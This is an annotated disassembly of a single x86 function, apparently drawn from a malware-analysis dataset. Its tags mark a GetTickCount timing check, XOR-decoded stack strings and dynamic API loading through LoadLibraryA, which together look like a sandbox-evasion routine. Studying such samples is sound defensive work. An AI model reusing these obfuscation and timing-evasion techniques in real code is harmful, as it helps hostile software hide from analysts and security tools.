Function at 0x4271d0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov dword [ebp - 0x54], 0x76726f42
mov dword [ebp - 0x50], 0x63776c57
mov dword [ebp - 0x4c], 0x6f446c66
mov dword [ebp - 0x48], 0x696c7f78
mov word [ebp - 0x44], 0x476a
mov byte [ebp - 0x42], 0
mov dword [ebp - 0x98], ecx
mov ecx, 0x12
mov eax, ecx
mov ebx, 0x13
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x66], dl
inc ecx
cmp ecx, 0x24
jne 0x42720d
lea ecx, [ebp - 0x70]
lea esi, [ebp - 0x54]
call fcn.0042e4fc
mov dword [esp], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x54]
push ebx
call fcn.0042839c
mov dword [ebp - 0x54], 0x41756555
mov ebx, dword [0x4de048]
mov ecx, 0x12
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x50], 0x63777676
mov dword [ebp - 0x4c], 0x625d7c69
mov dword [ebp - 0x48], 0x6a6c6979
mov word [ebp - 0x44], 0x7446
mov byte [ebp - 0x42], 0
mov eax, ecx
mov edi, 0x13
xor edx, edx
div edi
xor byte [ebp + ecx - 0x66], dl
inc ecx
cmp ecx, 0x24
jne 0x427276
lea ecx, [ebp - 0x70]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov dword [esp + 4], esi
mov dword [esp], eax
call ebx
lea ebx, [ebp - 0x54]
push ecx
push ecx
mov ecx, 0xc
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x54], 0x6964655c
mov dword [ebp - 0x50], 0x7576614e
mov dword [ebp - 0x4c], 0x5d6c6f66
mov byte [ebp - 0x48], 0
mov eax, ecx
mov esi, 0xd
xor edx, edx
div esi
xor byte [ebp + ecx - 0x60], dl
inc ecx
cmp ecx, 0x18
jne 0x4272cc
lea esi, [ebp - 0x70]
mov ecx, esi
call fcn.0042e4fc
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edx
mov edx, ebx
call fcn.0042839c
mov word [ebp - 0x54], 0x3831
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x52], 0
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
mov word [ebp - 0x70], 0x3231
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x6e], 0
mov dword [esp], esi
call sub.msvcrt.dll_atoi
lea ecx, [ebp - 0x78]
call fcn.0042e544
mov dword [esp], ecx
mov edi, eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x90]
call eax
mov edx, dword [ebp - 0xa0]
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov ecx, dword [ebp - 0x9c]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov eax, dword [ebp - 0x8c]
call eax
mov word [ebp - 0x54], 0x30
sub esp, 0x10
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
mov word [ebp - 0x78], 0x30
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov word [ebp - 0x7a], 0x30
mov edi, eax
lea eax, [ebp - 0x7a]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, dword [ebp - 0x8c]
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 0x10], edx
mov dword [esp + 4], 0xffffffff
mov dword [esp], esi
mov eax, dword [ebp - 0x94]
call eax
sub esp, 0x14
test eax, eax
je 0x42743c
mov ecx, ebx
mov esi, dword [ebp - 0x6c]
call fcn.0042e544
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
cmp esi, eax
jne 0x42743c
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x54], 0x30303131
mov byte [ebp - 0x50], 0
mov edi, eax
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
mov esi, eax
mov eax, dword [ebp - 0x98]
cmp byte [eax + 8], 0
je 0x42745d
mov dword [ebp - 0x54], 0x30303031
sub esi, edi
mov byte [ebp - 0x50], 0
mov dword [esp], ebx
call sub.msvcrt.dll_atoi
cmp esi, eax
jae 0x42745d
mov ecx, ebx
call fcn.0042e6a0
call fcn.004ce700
mov ecx, 0x31
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x74], edx
mov edx, ebx
call fcn.00428694
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret